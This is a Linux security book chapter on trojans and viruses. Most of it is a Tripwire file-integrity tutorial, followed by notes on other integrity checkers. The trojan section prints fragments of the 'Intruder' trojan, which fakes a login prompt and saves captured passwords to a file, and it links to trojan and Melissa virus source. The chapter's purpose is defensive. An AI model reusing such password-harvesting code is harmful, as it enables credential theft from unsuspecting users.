Chapter 6. Malicious Code

This chapter examines one of the more insidious threats to your system security: malicious code.

What Is Malicious Code?

Malicious code is

  • Unauthorized code (contained within a legitimate program) that performs functions unknown to (and probably unwanted by) the user

  • A legitimate program that has been altered by the placement of unauthorized code within it that performs functions unknown (and probably unwanted)

  • Any program that appears to perform a desirable and necessary function but that (because of unauthorized code within it) performs functions unknown to (and probably unwanted by) the user

  • Unauthorized code designed to conceal itself and destroy your data

Many different kinds of malicious code exist but the following are the two most common kinds:

  • Trojans

  • Viruses

Let's briefly look at each now.

What Is a Trojan?

A trojan (also called a trojanhorse) is any program (often legitimate but sometimes not) that has been altered by a malicious programmer. During the alteration process, the malicious programmer inserts additional code that will perform a hidden and unauthorized function. (For example, imagine an attacker replacing /bin/login with a new /bin/login that has been modified to capture and record passwords into a hidden file.)

Trojans can crop up anywhere but don't spontaneously appear on your system, nor can they propagate without human intervention. Instead, humans must physically deliver them to your system via portable media or a network connection.

For this reason, you should always be wary of software you download from the Internet. Except in rare cases (discussed later in this chapter), you almost never have suitable means to verify that software is safe until after you've downloaded it (and sometimes, not even then).

Even purportedly official software distributions can sometimes carry trojans. For example:

  • In January 1999, someone distributed a Microsoft Internet Explorer upgrade trojan via email. Victims inadvertently ran the attached executable, which in turn installed the trojan.

  • Also in January 1999, someone distributed a trojaned TCP Wrappers package. (TCP Wrappers is a toolkit that provides network access control.)

  • In 1995, a Temple University student trojaned pre-compiled SATAN 1.0 binaries. (SATAN or System Administrator's Tool for Analyzing Networks is a popular network security scanner. Learn more in Chapter 8, "Scanners.")

Trojans represent high risk for several reasons:

  • They run surreptitiously, cloaked in legitimate PIDs. Most trojan authors write their tools as replacements for common, must-have system utilities. They do so making two assumptions: a) you won't move their trojan or delete it; and b) you won't be alarmed to see it as a running process. (For example, you wouldn't think it was odd that httpd was running on your Web host.)

  • Unless you take precautionary steps immediately after installation, trojans are difficult to detect. Most trojans are compiled binaries (not shell, TCL, Python, or PERL scripts), and, therefore, you cannot readily examine their source.

Trojan-writing techniques vary. Some authors write code that outwardly performs seemingly normal functions but otherwise disables or replaces legitimate utilities. A good example is login_trojan.c, a trojan that emulates /bin/login. login_trojan.c outwardly behaves precisely like login. Internally, however, it writes passwords to a file for later perusal. Check it out at http://samarac.hfactorx.org/Exploits/login_trojan.c.

Such trojans are useful only for a very short time because they replace or incapacitate a real system utility. System administrators quickly discover the presence of such trojans, not through investigative techniques, but simply because the original utility's function is now absent.

Other trojan authors take a different approach. Rather than replacing or emulating a known utility, they'll offer precompiled software as a legitimate tool that most users would want. A good example is Intruder 1.02 from THeGZa and members of #coderspc, which masquerades as a system security scanner. System security scanners automatically probe your system for security holes and configuration problems. To learn more, please see Chapter 8.

Intruder first simulates activity using sleep():

void pimpthem()
{
  printf("
");
  printf(".
");
  sleep( 1 );
  printf(".
");
  sleep( 1 );
  printf(".
");
  sleep( 1 );

Next, it simulates a segmentation fault:

 printf("found buffer overide bug iSegmentation Fault (core dumped)
");
 sleep( 1 );
 system("clear");
}

Next, it presents a fake login procedure:

void fakelogin()
{
   char *input1[10]={0};
   char input[10];
   char var[80] = {0};
   char buffer[80] = {0};
   FILE *fp;
   FILE *file;
   char hostname[80]={0};
   FILE *hostnamefile;

   fp = popen("cat /etc/issue.net", "r");
   fread(var, 80, 1, fp);

   printf("
");
   printf("%s",var);
   printf("
");

   hostnamefile=fopen("/etc/HOSTNAME","r");
   fread(hostname,78,1,hostnamefile);
   scanend(hostname);
   printf("%s login:",hostname);
   gets(input);

   *input1=getpass("Password:");
   printf("
");

And finally, it records and stores the password information:

   strcpy(loginfake.id, input);
   strcpy(loginfake.password, *input1);
   file = fopen("mirror.txt","w");
   fprintf(file, "username:%s
password:%s
UID:% loginfake.id, loginfake.password, getuid());
   fclose(file);
}

As you'll read later in this chapter, trojan detection generally involves uncovering suspicious changes in files on your drive. In cases like Intruder, though, you have to take different steps. One quick way to uncover Intruder-like utilities is to examine their code in an editor or debugger, or review the raw machine code. For example, if you grepped Intruder for the string iSegmentation Fault, you would immediately realize that something was amiss. Here, a supposedly dynamically created error message appears in its entirety in the program's code.

Sometimes a trojan isn't a malicious program at all, but rather a security tool. One good example is Shawn F. Mckay's suTrojan, a bogus su designed to catch unauthorized users logging in as root. Mckay threw in everything, including routines that simulate delay and write normal log messages to syslog. In every way, the program acts and leaves trails as though it were a normal su. Meanwhile, it emails you to report the intrusion attempt. Check out suTrojan at http://samarac.hfactorx.org/Exploits/suTrojan.c. Another interesting innovation in this vein is FakeBO, a tool that emulates a server that has been trojaned by BackOrifice (BO). (BackOrifice, now in release BO2K, is a remote control/administration program for Windows 95/98 systems. In the wrong hands, it can be used as a powerful trojan. Find it at http://www.cultdeadcow.com/.) FakeBO simulates BO running on your box, and monitors and records the attacks that result. Check out FakeBO at http://yi.com/home/KosturjakVlatko/fakebo.htm.

Viruses

Computer viruses fall into two major categories:

  • Programs designed to infect, alter, or overwrite your boot sector or master boot record.

  • Programs designed to attach malicious code to files on the target.

File viruses are more common and varied than boot sector viruses and have traditionally posed a greater threat to network communities, chiefly because of how they spread.

During attachment, the virus' original code is appended to victim files. This procedure is called infection. When a file is infected, it is generally converted from an ordinary file to a carrier.

From that point on, the infected file can infect still other files. This process is called replication. Through replication, viruses can spread themselves across a hard disk drive, achieving systemic infection. There is often little or no warning before such systemic infection takes hold, and by then, it may be too late to save damaged data.

Interestingly, though, most viruses don't actually destroy data; they simply infect disks or files. But even if a virus is not inherently destructive, it can disrupt service. For example, operating system drivers can function erratically when infected.

Destructive viruses do exist, though. In fact, one of the first in public circulation mutated into a destructive virus. It was called Merrit and emerged in 1987. The Merrit virus could destroy the file allocation table (FAT) on a floppy disk. Over time, Merrit went through several stages of evolution, the most dangerous of which was called Golden Gate. Golden Gate actually reformatted the victim's hard disk drive.

In past years, infections resulted chiefly from direct floppy-to-floppy, floppy-to-boot sector, or floppy-to-hard disk transfers and thus, infections spread slowly from machine to machine. Not any more. Today, the Internet offers viruses an opportunity to spread unabated to infect thousands of systems.

Here's a recent example: On or about March 26, 1999, a New Jersey man allegedly released a Microsoft Word macro virus called Melissa into a USENET newsgroup. Just 72 hours later, the Computer Emergency Response Team reported over 100,000 confirmed infected hosts.

Note

Macro viruses (deriving their name from the macro languages in which they're written) attack documents and document templates, especially in Microsoft-centric environments such as Word, Excel, and Outlook.

An advisory from the Department of Energy's Computer Incident Advisory Capability solemnly reported that even DOE systems were not immune to Melissa:

  • A new Word 97 macro virus named W97M.Melissa has been detected at multiple DOE sites and is known to be spreading widely. In addition to infecting your copy of Microsoft Word, the virus uses Microsoft Outlook 98 or Outlook 2000 to e-mail the infected document to the first 50 people from each of your Outlook address books. CIAC Information Bulletin, J-037A: W97M.Melissa Word Macro Virus. http://www.ciac.org/ciac/bulletins/j-037.shtml.

Note

If you're interested in running Melissa in a test environment, get the source at http://www.cry4dawn.com/melissa/melissa.txt

Melissa targeted Microsoft-centric personal computers, and, in that respect, it was not terribly unique. Of the some 13,000 viruses in existence, most target personal computers running Microsoft operating systems. In contrast, very few (three, actually) target UNIX-based operating systems.

So, what's going on here? Do virus authors have a vendetta against Microsoft? No. Rather, UNIX is simply a poor breeding ground for viruses. As you read in Chapter 4, "Basic Linux System Administration," UNIX employs access control based on owners and groups and sharply restricts read, write, and execute file access. Hence, it's difficult to write a virus that will spread in a UNIX environment. (The virus wants file privileges and cannot get them.) In contrast, except for Windows NT with NTFS enabled, Microsoft environments impose no such stringent controls, making them inviting virus targets.

Caution

NTFS may not necessarily protect a Windows NT box from attack. Some software packages (including Microsoft's) unpack with insufficiently stringent access permissions, and therefore invite virus attacks they cannot survive. Moreover, Microsoft's practice of plugging its macro languages into its operating system API is quite risky. Undoubtedly, this will result in future Melissa-like episodes.

Detecting Malicious Code

Detecting malicious code can be easy or difficult, depending on how well you've prepared your system. One critical step that you must take is to preserve a snapshot of your operating system immediately after installation.

Here's why: The most reliable method of detecting malicious code is object reconciliation. In object reconciliation, your aim is to answer this question: "Are things still just the way I left them?" Here's how it works: Objects can be files, directories, devices, and so forth. Reconciliation is the process of comparing those objects against themselves on some earlier date.

For example, suppose you took a backup tape and compared the file ps as it existed in November 1998 to the ps that now resides on your drive. If the two differ, and you haven't upgraded, replaced, or patched ps, something is clearly amiss. This is object reconciliation and an installation-time snapshot is a vital ingredient.

There are various approaches to object reconciliation, but all are based on detecting changes in file state information. For example, a very primitive approach is to generate a checklist of all files and later examine them for changes in

  • Their date last modified

  • Their creation date

  • Their size

Unfortunately, this method is insufficient, because such values (date and size) can be easily manipulated. As explained by Gene H. Kim and Eugene H. Spafford in their paper The Design and Implementation of Tripwire: A File System Integrity Checker:

  • …a checklist is one form of this database for a UNIX system. The file content themselves are not usually saved as this would require too much disk space. Instead, a checklist would contain a set of values generated from the original file—usually including the length, time of last modification, and owner. The checklist is periodically regenerated and compared against the save copies, with discrepancies noted. However…changes may be made to the contents of UNIX files without any of these values changing from the stored values; in particular, a user gaining access to the root account may modify the raw disk to alter the saved data without it showing in the checklist.

Another approach is to use basic checksums. Checksums are numeric values composed of sums of a file's bits and are often used by programs that perform network data transfer. When data is transferred from point A to point B, the client and the server both store a checksum for each data block. At the destination, this checksum is compared against the received data. If the two values match, the data transferred successfully and unharmed. If the two values differ, the data was corrupted during transfer, and an error is generated.

You can generate checksums of static files using various utilities, including sum (or on some platforms, cksum).

sum, as described in the man page…

  • …calculates and prints a 16-bit checksum for the named file, and also prints the number of blocks in the file. NULL characters (with ASCII value zero) are ignored in computing the checksum. sum is typically used to look for bad spots, or to validate a file communicated over some transmission line.

Calculating checksums for static files is easy. The following is an example of a directory listing:

drwxrwxrwx     6 1046      sys      138 Jul   7 04:16 SSLftp-0.8
-rwxrwxrwx     1 mikal     user  368640 Jul   7 04:15 SSLftp-0_8_tar
-rwxrwxrwx     1 mikal     user  189795 Jul   8 06:06 User_Manual.pdf
-rwxrwxrwx     1 mikal     user   21243 Jul   6 01:42 ftpsec.txt
-rwxrwxrwx     1 root      sys      556 Jul   7 04:18 junk.txt
-rwxrwxrwx     1 mikal     user    4005 Jul   7 04:30 morejunk.txt
-rwxrwxrwx     1 root      sys       39 Jul   8 21:21 test-checksum.txt
-rwxrwxrwx     1 mikal     user    6191 Jul   8 06:45 tripwire.txt
-rwxrwxrwx     1 mikal     user   18952 Jul   8 06:46 twpol.txt

To get basic, 16-bit checksums on these files, you could issue the following command:

# sum *

The following is the output, with the checksums in bold:

Read error on SSLftp-0.8: Is a directory
0 0 SSLftp-0.8
9784 720 SSLftp-0_8_tar
33473 371 User_Manual.pdf
28778 42 ftpsec.txt
31687 2 junk.txt
39532 8 morejunk.txt
43604 3 test-checksum.txt
11240 13 tripwire.txt
24705 38 twpol.txt

For quick and dirty file integrity testing (with low assurance), you could generate an operating system snapshot, as shown in the following:

# sum `find / . –print` > os_database.txt

This command would generate a 16-bit checksum for every file on the hard disk drive and place output in the file os_database.txt. You could then write a script to periodically compare these values to your current system values. This would alert you to changes in file state and integrity.

This approach is certainly preferable to relying on time, date, or last date of modification. However, 16-bit checksums are simply not enough. So, instead, the prevailing method is to use something like MD5. MD5 belongs to a family of one-way hash functions called message digest algorithms and was originally defined in RFC 1321:

  • The algorithm [MD5] takes as input a message of arbitrary length and produces as output a 128-bit "fingerprint" or "message digest" of the input. It is conjectured that it is computationally infeasible to produce two messages having the same message digest, or to produce any message having a given prespecified target message digest.

Message digest algorithms offer high assurance and are particularly well suited for testing file integrity. The key is to use tools that can automatically take both your initial operating system snapshot and generate MD5 (or comparable) values for later comparisons. For this, the leading tool is Tripwire.

Tripwire

Tripwire is a flexible, easy-to-use file integrity tool that employs several algorithms:

  • CRC32—CRC32 is a 32-bit version of Cyclical Redundancy Checking. General CRC is used to check the integrity of files being transmitted digitally, as described earlier. To learn more about CRC32 (and other algorithms) go to http://nic.mil/ftp/rfc/rfc1510.txt.

  • MD2—MD2 is in the MD5 family of message digest algorithms. It is very strong. For example, in its specification, it was reported that "…the difficulty of coming up with two messages having the same message digest is on the order of 2^64 operations, and that the difficulty of coming up with any message having a given message digest is on the order of 2^128 operations.…" You can learn more about MD2 at http://nic.mil/ftp/rfc/rfc1319.txt.

  • MD4—For documentation on MD4, which was placed in the public domain, please go to http://nic.mil/ftp/rfc/rfc1320.txt.

  • MD5—MD5 is a slower but more secure algorithm than MD4, and is therefore an improvement. To learn about MD5's design and purpose, go to http://nic.mil/ftp/rfc/rfc1321.txt.

  • SHA (The NIST Secure Hash Algorithm)—SHA is exceptionally strong and has been used in defense environments. For example, the Department of Defense requires that all DoD managed systems adhere to the Multilevel Information System Security Initiative (MISSI) and use only products cleared by the same. SHA is used in one MISSI-cleared product called the Fortezza card, a PCMCIA card that provides an extra layer of security to electronic mail sent from DoD laptops. (SHA is also incorporated into the Secure Data Network System Message Security Protocol, a message protocol designed to provide security to the X.400 Message Handling environment.) To learn more about SHA, grab Federal Information Processing Standards Publication 180-1, located at http://www.itl.nist.gov/fipspubs/fip180-1.htm.

  • Snefru (Xerox secure hash function)—Snefru can generate either 128- or 256-bit message digests. Snefru was developed by Xerox and is currently in release 2.4. You can get Snefru (and all its documentation) at ftp://ftp.parc.xerox.com/pub/hash/hash2.5a/.

By default, Tripwire uses both MD5 and the Xerox secure hash function to generate file fingerprints. (However, you can apply any of the above hash functions to any, a portion of, or all files.) Each file fingerprint is unique. As the authors explain, there is little or no chance of two files having the same digital fingerprint:

  • An attempt was made to find a duplicate Snefru[16] signature for the /bin/login program using 130 Sun workstations. Over a time of several weeks, 17 million signatures were generated and compared with ten thousand stored signatures (the maximum number of signatures that fit in memory without forcing virtual memory page faults on each search iteration). Approximately 224 signatures were searched without finding any collisions, leaving approximately 1015 remaining unsearched.

Hence, Tripwire offers high assurance of file system integrity as a starting reference point. The following are some of its more interesting features:

  • Tripwire can perform its task over network connections. Therefore, you can generate a database of digital fingerprints for an entire network at installation time.

  • Tripwire was written in C with a mind towards portability. It will compile for most flavors without alteration.

  • Tripwire comes with a macro-processing language, so you can automate certain tasks.

Tripwire is a superb tool, but only when used in conjunction with other security measures. For example, Tripwire will do you no good at all if you don't protect your initial snapshot and fingerprint database. From the beginning, the tool's authors made this point clear:

  • The database used by the integrity checker should be protected from unauthorized modifications; an intruder who can change the database can subvert the entire integrity checking scheme.

Before you use Tripwire, read The Design and Implementation of Tripwire: A File System Integrity Checker by Gene H. Kim and Eugene H. Spafford. It is located at http://www.ja.net/CERT/Software/tripwire/Tripwire.PS.

One way to protect the database is to store it on read-only media. This eliminates the possibility of tampering.

Availability of Tripwire

Tripwire was originally designed for mainstream UNIX, not Linux. Currently, the only pre- fabricated Tripwire distribution for Linux runs on Red Hat 5.x (and not 6.0). Get it at http://www.visualcomputing.com/products/2_0Linux.html.

Note

You can also roll your own Tripwire on other Linux systems. Tripwire 1.3, for example, is known to compile cleanly on Debian, OpenLinux, and other distributions.

Installing Tripwire

After downloading the Tripwire package, make a directory for it, and copy it over. For example:

[root@linux9 /]# mkdir tripwire
[root@linux9 /]# cp Tripwire_2_0_RedHat_Linux_tar tripwire/

Next, change to the new directory, unzip, and un-tar the Tripwire package:.

[root@linux9 /tripwire]# gunzip Tripwire_2_0_RedHat_Linux_tar.gz
[root@linux9 /tripwire]# tar -xvf Tripwire_2_0_RedHat_Linux_tar

The archive should unpack the following files and directories:

-r--r--r--    1 root   root      2732 Feb 26 02:00 README
-r--r--r--    1 root   root     10955 Feb 26 02:00 Release_Notes
-r--r--r--    1 root   root    189795 Feb 26 02:00 User_Manual.pdf
dr-xr-xr-x    2 root   root      1024 Feb 26 02:00 bin/
-rw-r-----    1 root   root      1318 Feb 26 02:00 install.cfg
-r-xr-x---    1 root   root     22072 Feb 26 02:00 install.sh*
-r--r--r--    1 root   root      7238 Feb 26 02:00 license.txt
dr-xr-xr-x    2 root   root      1024 Feb 26 02:00 pkg/

install.sh is the installation script, and install.cfg is the installation configuration file. Before performing the installation, take a moment to examine install.cfg, which defines installation target directories:

# install.cfg
# default install.cfg for:
# Tripwire(tm) 2.0 for Unix
# NOTE:  This is a Bourne shell script that stores installation
#        parameters for your installation.  The installer will
#        use this file to generate your config file and also to
#        locate any special configuration needs for your install.
#        Protect this file, because it is possible for
#        malicious code to be inserted here
#
# To set your Root directory for install, set TWROOT= to something
# other than /usr/TSS as necessary.
#
#=======================================================

# If CLOBBER is true, then existing files are overwritten.
# If CLOBBER is false, existing files are not overwritten.
CLOBBER=false

# The root of the TSS directory tree.
TWROOT="/usr/TSS"

# Tripwire binaries are stored in TWBIN.
TWBIN="${TWROOT}/bin"

# Tripwire policy files are stored in TWPOLICY.
TWPOLICY="${TWROOT}/policy"

# Tripwire manual pages are stored in TWMAN.
TWMAN="${TWROOT}/man"

# Tripwire database files are stored in TWDB.
TWDB="${TWROOT}/db"

# The Tripwire site key files are stored in TWSITEKEYDIR.
TWSITEKEYDIR="${TWROOT}/key"

# The Tripwire local key files are stored in TWLOCALKEYDIR.
TWLOCALKEYDIR="${TWROOT}/key"

# Tripwire report files are stored in TWREPORT.
TWREPORT="${TWROOT}/report"

By default, these settings place everything under /usr/TTS. Barring the unlikely scenario that you already have such a directory tree, you probably don't need to change these settings. However, if you anticipate that Tripwire will need to overwrite existing files, you'll need to alter line 21:

# If CLOBBER is true, then existing files are overwritten.
# If CLOBBER is false, existing files are not overwritten.
CLOBBER=false

Otherwise, if you have no install.cfg changes, start the installation process, as shown in the following:

[root@linux9 /tripwire]# ./install.sh

In response, Tripwire will output a summary of your options and prompt you for confirmation:

Installer program for:
Tripwire(tm) 2.0 for Unix

Tripwire(tm) Copyright 1992-99 by the Purdue Research Foundation of Purdue University, and distributed by Tripwire Security Systems, Inc. under exclusive license arrangements.

Using configuration file install.cfg
This program will copy Tripwire files to the following directories:
       TWROOT: /usr/TSS
        TWBIN: /usr/TSS/bin
     TWPOLICY: /usr/TSS/policy
        TWMAN: /usr/TSS/man
     TWREPORT: /usr/TSS/report
         TWDB: /usr/TSS/db
 TWSITEKEYDIR: /usr/TSS/key
TWLOCALKEYDIR: /usr/TSS/key

CLOBBER is false.

Continue with installation? [y/n]

If these values are correct, choose y (yes). Next, Tripwire will ask you for a keyfile passphrase. Before entering a passphrase, take time to carefully consider it.

Generating Your Passphrases

Generating a passphrase is slightly different than generating a password because you're offered wider latitude. A passphrase can be anything, and, while you should have a minimum of eight characters, you're not restricted to a maximum length. (Moreover, a passphrase can contain whitespace.)

However, much like when you generate a password, you should observe certain conventions to ensure that your passphrase is not easily broken. Many users mistakenly assume that because a passphrase is longer than a standard password, it is automatically more difficult to break. Not true. If your passphrase is easily predictable (the first line of your favorite poem, for example), it is just as easy to crack as an 8-character password composed of a dictionary word or proper name. So, choose wisely.

Tripwire will prompt you for several passphrases, beginning with your keyfile passphrase:

The Tripwire site and local passphrases are used to
sign a variety of files, such as the configuration,
policy, and database files.

Passphrases should be at least 8 characters in length
and contain both letters and numbers.

See the Tripwire manual for more information.

Creating key files…

(When selecting a passphrase, keep in mind that good passphrases typically have upper and lower case letters, digits and punctuation marks, and are at least 8 characters in length.)
Enter the site keyfile passphrase:

Enter the site keyfile passphrase:

After you enter your passphrase, Tripwire will ask you to confirm:

Verify the site keyfile passphrase:

And finally, Tripwire will generate a key:

Generating key (this may take several minutes)…

Next, Tripwire will ask you for local and site key passphrases:

(When selecting a passphrase, keep in mind that good passphrases typically have upper and lower case letters, digits and punctuation marks, and are at least 8 characters in length.)
Enter the site keyfile passphrase:
Verify the site keyfile passphrase:
Generating key (this may take several minutes)…Key generation complete. (When selecting a passphrase, keep in mind that good passphrases typically have upper and lower case letters, digits and punctuation marks, and are at least 8 characters in length.)
Enter the local keyfile passphrase:

And again, it will ask for verification:

Verify the local keyfile passphrase:

and will generate the keys:

Generating key (this may take several minutes)…

Finally, Tripwire will ask you for your site passphrase:

Generating Tripwire configuration file…
----------------------------------------------
Creating signed configuration file…
Please enter your site passphrase:

When done, Tripwire will notify you that the installation was successful:

The installation succeeded.
Please refer to /usr/TSS/Release_Notes
for release information and to the printed user documentation
for further instructions on using Tripwire 2.0 for Unix.

Preparing to Use Tripwire

Before you actually run Tripwire, you may have to customize two files:

  • The Tripwire configuration file

  • The Tripwire policy file

The Tripwire Configuration File

The configuration file stores system-specific information (chiefly about where Tripwire utilities and configuration files are installed). The default (twcfg.txt) is located in /usr/TSS/bin and looks like the following:

[root@linux9 bin]# more twcfg.txt
ROOT          =/usr/TSS
POLFILE       =/usr/TSS/policy/tw.pol
DBFILE        =/usr/TSS/db/$(HOSTNAME).db
REPORTFILE    =/usr/TSS/report/$(HOSTNAME)-$(DATE).twr
SITEKEYFILE   =/usr/TSS/key/site.key
LOCALKEYFILE  =/usr/TSS/key/$(HOSTNAME)-local.key
MAILPROGRAM   =/usr/lib/sendmail -oi -t
EDITOR        =/bin/vi
LATEPROMPTING =false
LOOSEDIRECTORYCHECKING =false

Table 6.1 summarizes the configuration file variables and what they do.

Table 6.1. Tripwire Configuration File Variables

ServiceDiscussion
DBFILEThe DBFILE variable points to your database file's location. (This is the file that stores your operating system snapshot.)
EDITORThe EDITOR variable stores the location of your preferred editor. (Note: You must define this variable to use Tripwire in interactive editing mode. Moreover, once you specify this value, you cannot later change it manually by manipulating your shell environment variables.)
LATEPROMPTINGUse the LATEPROMPTING variable to specify whether Tripwire should wait until the last possible moment before prompting you for a passphrase. (This is a security measure for the super-paranoiac who worries that, while his passphrase is in memory, attackers can cap-ture it.)
LOCALKEYFILEThe LOCALKEYFILEvariable points to your local key file's location.
LOOSEDIRECTORYCHECKINGThe LOOSEDIRECTORYCHECKING variable affects the way that Tripwire reports changes to directories. When LOOSEDIRECTORYCHECKING is unset (default), Tripwire will report not simply that a file was deleted or altered, but also how this change affected the directory in which the file resides (or resided). When LOOSEDIRECTORYCHECKING is set, Tripwire reports only on the file change (and not the directory change).
MAILPROGRAMThe MAILPROGRAM variable stores your specified mail program's location (and any command-line options to be passed to it).
POLFILEThe POLFILE variable points to your policy file's location (typically /usr/TSS/policy/tw.pol).
REPORTFILEThe REPORTFILE variable points to where Tripwire will store its reports.
SITEKEYFILEThe SITEKEYFILEvariables points to the location of your site key.

Change these values to your liking prior to running Tripwire for the first time.

The Tripwire Policy File

Next, examine the Tripwire policy file. The policy file (by default, twpol.txt) stores your specification of what objects (file, directories, and so on) Tripwire should monitor and their locations.

Tripwire ships with a sample file named /usr/TSS/policy/twpol.txt that is optimized for Red Hat Linux 5.x. I recommend that you browse it before running Tripwire for the first time. (You may be able to eyeball and eliminate erroneous paths. In the test I performed for this chapter, I found 12 such instances.)

Otherwise, if you have no changes for the policy file, you're ready to configure and run Tripwire.

Configuring and Running Tripwire

To configure and run Tripwire (whether or not you made changes to the configuration and policy files), first change to Tripwire's binary directory:

[root@linux9 /root]# cd /usr/TSS/bin

Once there, issue the following command:

./twadmin --create-cfgfile --site-keyfile ../key/site.key twcfg.txt

In response, twadmin will ask for your passphrase:

Please enter your site passphrase:

After verifying your passphrase, twadmin will format the configuration file and exit:

Writing config file: /usr/TSS/bin/tw.cfg
Wrote configuration file: /usr/TSS/bin/tw.cfg

Next, you must update the policy file, as shown in the following:

./twadmin --create-polfile ../policy/twpol.txt

In response, twadmin will again ask for your passphrase:

Please enter your site passphrase:

After verifying your passphrase, twadmin will write the new policy file and exit:

Wrote policy file: /usr/TSS/policy/tw.pol

Now you're ready to generate your Tripwire database. To do so, issue the following command:

[root@linux9 bin]# ./tripwire -init

Here, Tripwire will ask for your passphrase:

Please enter your site passphrase:

What happens next will depend on your system configuration. If you didn't clean the policy file of possible erroneous paths, you may see several errors, such as the following:

# Error 101: Unable to get object type: file:/usr/lib/tclX8.0.3/help
  No such file or directory
# Error 101: Unable to get object type: file:/usr/lib/tkX8.0.3/help
  No such file or directory

Note these errors and you can correct them later by changing the rules in your policy file. (You'll have plenty of time to jot down the errors, too, because Tripwire takes a while to generate the initial database. It can be from several minutes to an hour, depending on your system configuration.)

Note

After your first run through, you really should correct your policy rules to prevent these errors. Here's why: These errors will appear again each time that you use Tripwire to verify file integrity (or any other function requiring database access).

Eventually, Tripwire will finish creating the database and report:

Wrote database file: /usr/TSS/db/linux9.samshacker.net.db
The database was successfully generated.
Exiting.

Checking File Integrity with Tripwire

After your first Tripwire run, Tripwire will store the complete operating system snapshot. From then on, to test file integrity on the system, issue the following command:

[root@linux9 bin]# ./tripwire -check

In response, Tripwire will scan all objects on your system (this can take a while) and report the results:

Total objects scanned: 18303
Total violations found: 1
*********************************************************
---------------------------------------------------------
Severity Level: 100         Rule Name: Root config files (/root)
Total objects scanned: 22
---------------------------------------------------------
Modified:
          Mode                  UID       Size  Access Time
       ---------             ---------    ---  -----------------
/root/tripwire2.txt -rw-r--r--  root (0)  3262 XXXXXXXXXXXXXXXXX
-----------------------------------------------------
Object Detail:
Severity Level: 100                Rule Name: Root config files
(/root)
Total objects scanned: 22
Modified Objects:
Rule Name: Root config files (/root)
Total number of modified objects:  1
Modified object name:  /root/tripwire2.txt
  Property:        Expected:          Observed:
  -------------    -----------        -----------
  Device Number    770                770
  Inode Number     39013              39013
  Mode             -rw-r--r--         -rw-r--r--
  Num Links        1                  1
  UID              root (0)           root (0)
  GID              root (0)           root (0)
* Size             3000               3262
* Modify Time  Thu Jul 8 17:21:19 1999  Thu Jul 8 17:26:30 1999
* Blocks          6                   8
  Object Type     Regular File        Regular File
* MD5  C1l9Xm9xh64Qmh+tIMkYn2      DHJt4Xb07rvVNJtQyr5G9Q
* SHA  GWDiSuyABuaQl6F+IvjkqlnwHjF FICvT/HMyTZMkFcUklkVZ5PCKjf
------------------------------------------------------------
***End of report***
Integrity check complete.
Exiting…

Here, you can see that Tripwire detected that one file has changed:

Modified object name:  /root/tripwire2.txt

In fact, Tripwire determined that the file's size, modify time, MD5 fingerprint, and SHA fingerprint have changed:

* Size             3000               3262
* Modify Time  Thu Jul 8 17:21:19 1999  Thu Jul 8 17:26:30 1999
* MD5  C1l9Xm9xh64Qmh+tIMkYn2      DHJt4Xb07rvVNJtQyr5G9Q
* SHA  GWDiSuyABuaQl6F+IvjkqlnwHjF FICvT/HMyTZMkFcUklkVZ5PCKjf

Summary on Tripwire

Tripwire is an invaluable tool for detecting changes on your file system. You should install it on every fresh Linux installation you perform.

Note

What if you need a quick-and-dirty way to check integrity on Linux? Try invoking rpm with the –V option. In response, rpm will print all changes that have taken place to a particular package. If those changes seem inconsistent with your configuration, something's amiss.

Other File Integrity Checking Software

In addition to Tripwire, several other file integrity checkers exist (and some come with source code). All are known to compile on various UNIX flavors, but none are Linux specific. I list these in case you want to experiment (but I recommend Tripwire).

TAMU

The TAMU suite (from Texas A&M University) is a collection of tools that greatly enhance your system security. These tools were created in response to a very real problem. As explained in the summary that accompanies the distribution:

  • Texas A&M University UNIX computers recently came under extensive attack from a coordinated group of Internet crackers. This paper presents an overview of the problem and our responses, which included the development of policies, procedures, and tools to protect university computers. The tools developed include drawbridge, an advanced Internet filter bridge; tiger scripts, extremely powerful but easy-to-use programs for securing individual hosts; and xvefc, (XView Etherfind Client), a powerful distributed network monitor.

The TAMU distribution includes a package of tiger scripts, which form the basis of the distribution's digital fingerprint authentication. As the earlier-mentioned summary explains:

  • The checking performed covers a wide range of items, including items identified in CERT announcements, and items observed in the recent intrusions. The scripts use Xerox's cryptographic checksum programs to check for both modified system binaries (possible trap doors/trojans), as well as for the presence of required security related patches.

The TAMU distribution is comprehensive and can be used to solve several security problems, over and above searching for trojans. It includes a network monitor and packet filter.

The TAMU distribution is available at ftp://coast.cs.purdue.edu/pub/tools/unix/TAMU/.

ATP (The Anti-Tampering Program)

ATP works somewhat like Tripwire. As reported by David Vincenzetti, DSI (University of Milan, Italy) in ATPAnti-Tampering Program:

  • ATP 'takes a snapshot' of the system, assuming that you are in a trusted configuration, and performs a number of checks to monitor changes that might have been made to files.

ATP then establishes a database of values for each file. One of these values (the signature) consists of two checksums. The first is a CRC32 checksum, the second is an MD5 checksum. You might be wondering why this is so, especially because CRC checksums are not entirely reliable, as explained previously. The explanation is this: Because of its speed, the CRC32 checksum is used in checks performed on a regular (perhaps daily) basis. MD5, which is more comprehensive (and therefore more resource and time intensive), is intended for scheduled, periodic checks (perhaps once a week).

The database is encrypted using DES. Thus, ATP provides a flexible (but quite secure) method of monitoring your network and identifying possible trojans.

ATP documents and distribution can be found at ftp://security.dsi.unimi.it/pub/security.

Hobgoblin

Hobgoblin offers an interesting mixture of file- and system-integrity checking (sort of a COPS-meets-Tripwire gig). The authors (Farmer and Spafford) report that Hobgoblin is faster and more configurable than COPS and generally collects information in greater detail. What makes Hobgoblin most interesting, though, is that it is both a language and an interpreter. The programmers provided for their own unique descriptors and structural conventions.

A word of warning: The Hobgoblin interpreter reserves familiar and often-used metacharacters that have special meaning. Therefore, if you intend to deploy it in a practical manner, you should set aside a few hours to familiarize yourself with these conventions.

Hobgoblin and its source are located at http://ftp.su.se/pub/security/tools/admin/hobgoblin/hobgoblin.shar.gz.

sXid

sXid, by Ben Collins at Debian, tracks suid and sgid files by MD5 checksums and can detect if a root kit has been installed. Collins designed sXid to run as a cron job and it will automatically track, detect, and warn about suspicious changes. Get sXid at ftp://marcus.seva.net/pub/sxid/.

trojan.pl

trojan.pl by Bruce Barnett checks file, directory, and user permissions in a given path for configurations that could invite malicious users to install trojan horses. Interestingly, it will actually guess at the likelihood that an attack could install a trojan horse. Check it out at ftp://coast.cs.purdue.edu/pub/tools/unix/trojan/trojan.pl.

Additional Resources

Finally, these documents highlight malicious code, its effects, and how to combat it:

  • An Introduction to Digest Algorithms, Proceedings of the Digital Equipment Computer Users' Society Australia, Ross N. Williams. This is a good overview of what digest algorithms are and how they operate (ftp://ftp.rocksoft.com/clients/rocksoft/papers/digest10.ps).

